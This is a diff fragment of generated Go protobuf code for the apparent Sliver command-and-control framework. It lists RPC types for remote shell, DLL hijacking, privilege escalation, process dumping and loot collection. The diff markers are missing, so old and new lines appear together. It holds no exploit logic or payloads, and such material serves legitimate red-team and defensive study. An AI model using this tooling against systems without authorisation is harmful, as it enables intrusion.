0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35,
0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65,
0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74,
0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73,
0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b,
0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65,
0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53,
0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72,
0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a,
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a,
0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54,
0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a,
0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47,
0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73,
0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c,
0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c,
0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65,
0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a,
0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a,
0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67,
0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70,
0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -441,82 +459,90 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistryReadReq)(nil), // 57: sliverpb.RegistryReadReq
(*sliverpb.RegistryWriteReq)(nil), // 58: sliverpb.RegistryWriteReq
(*sliverpb.RegistryCreateKeyReq)(nil), // 59: sliverpb.RegistryCreateKeyReq
(*sliverpb.SSHCommandReq)(nil), // 60: sliverpb.SSHCommandReq
(*sliverpb.WGPortForwardStartReq)(nil), // 61: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 62: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 63: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 64: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 65: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 66: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 67: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 68: sliverpb.PortfwdReq
(*sliverpb.Tunnel)(nil), // 69: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 70: sliverpb.TunnelData
(*clientpb.Version)(nil), // 71: clientpb.Version
(*clientpb.Operators)(nil), // 72: clientpb.Operators
(*clientpb.Sessions)(nil), // 73: clientpb.Sessions
(*clientpb.Session)(nil), // 74: clientpb.Session
(*commonpb.Response)(nil), // 75: commonpb.Response
(*clientpb.Jobs)(nil), // 76: clientpb.Jobs
(*clientpb.KillJob)(nil), // 77: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 78: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 79: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 80: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 81: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 82: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 83: clientpb.AllLoot
(*clientpb.Generate)(nil), // 84: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 85: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 86: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 87: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 88: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 89: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 90: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 91: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 92: clientpb.Compiler
(*clientpb.Websites)(nil), // 93: clientpb.Websites
(*sliverpb.Ps)(nil), // 94: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 95: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 96: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 97: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 98: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 99: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 100: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 101: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 102: sliverpb.Download
(*sliverpb.Upload)(nil), // 103: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 104: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 105: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 106: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 107: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 108: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 109: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 110: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 111: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 112: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 113: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 114: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 115: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 116: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 117: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 118: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 119: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 120: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 121: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 122: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 123: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 124: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 125: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 126: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 127: sliverpb.RegistryCreateKey
(*sliverpb.SSHCommand)(nil), // 128: sliverpb.SSHCommand
(*sliverpb.WGPortForward)(nil), // 129: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 130: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 131: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 132: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 133: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 134: sliverpb.Portfwd
(*clientpb.Event)(nil), // 135: clientpb.Event
(*sliverpb.RegistrySubKeyListReq)(nil), // 60: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 61: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 62: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 63: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 64: sliverpb.GetPrivsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 65: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 66: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 67: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 68: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 69: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 70: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 71: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 72: sliverpb.PortfwdReq
(*sliverpb.Tunnel)(nil), // 73: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 74: sliverpb.TunnelData
(*clientpb.Version)(nil), // 75: clientpb.Version
(*clientpb.Operators)(nil), // 76: clientpb.Operators
(*clientpb.Sessions)(nil), // 77: clientpb.Sessions
(*clientpb.Session)(nil), // 78: clientpb.Session
(*commonpb.Response)(nil), // 79: commonpb.Response
(*clientpb.Jobs)(nil), // 80: clientpb.Jobs
(*clientpb.KillJob)(nil), // 81: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 82: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 83: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 84: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 85: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 86: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 87: clientpb.AllLoot
(*clientpb.Generate)(nil), // 88: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 89: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 90: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 91: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 92: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 93: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 94: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 95: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 96: clientpb.Compiler
(*clientpb.Websites)(nil), // 97: clientpb.Websites
(*sliverpb.Ps)(nil), // 98: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 99: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 100: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 101: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 102: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 103: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 104: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 105: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 106: sliverpb.Download
(*sliverpb.Upload)(nil), // 107: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 108: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 109: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 110: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 111: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 112: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 113: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 114: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 115: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 116: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 117: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 118: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 119: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 120: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 121: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 122: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 123: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 124: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 125: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 126: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 127: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 128: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 129: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 130: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 131: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 132: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 133: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 134: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 135: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 136: sliverpb.GetPrivs
(*sliverpb.WGPortForward)(nil), // 137: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 138: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 139: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 140: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 141: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 142: sliverpb.Portfwd
(*clientpb.Event)(nil), // 143: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -601,116 +627,124 @@ var file_rpcpb_services_proto_depIdxs = []int32{
57, // 79: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
58, // 80: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
59, // 81: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
60, // 82: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
61, // 83: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
62, // 84: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
63, // 85: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
64, // 86: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
65, // 87: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
66, // 88: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
67, // 89: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
68, // 90: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
69, // 91: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
69, // 92: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
70, // 93: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 94: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
71, // 95: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
72, // 96: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
73, // 97: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
0, // 98: rpcpb.SliverRPC.KillSession:output_type -> commonpb.Empty
74, // 99: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
75, // 100: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 101: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
76, // 102: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
77, // 103: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
78, // 104: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
79, // 105: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
80, // 106: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
81, // 107: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
81, // 108: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
82, // 109: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
82, // 110: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
9, // 111: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 112: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
9, // 113: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
9, // 114: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
83, // 115: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
83, // 116: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
84, // 117: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
84, // 118: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
85, // 119: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 120: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
86, // 121: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
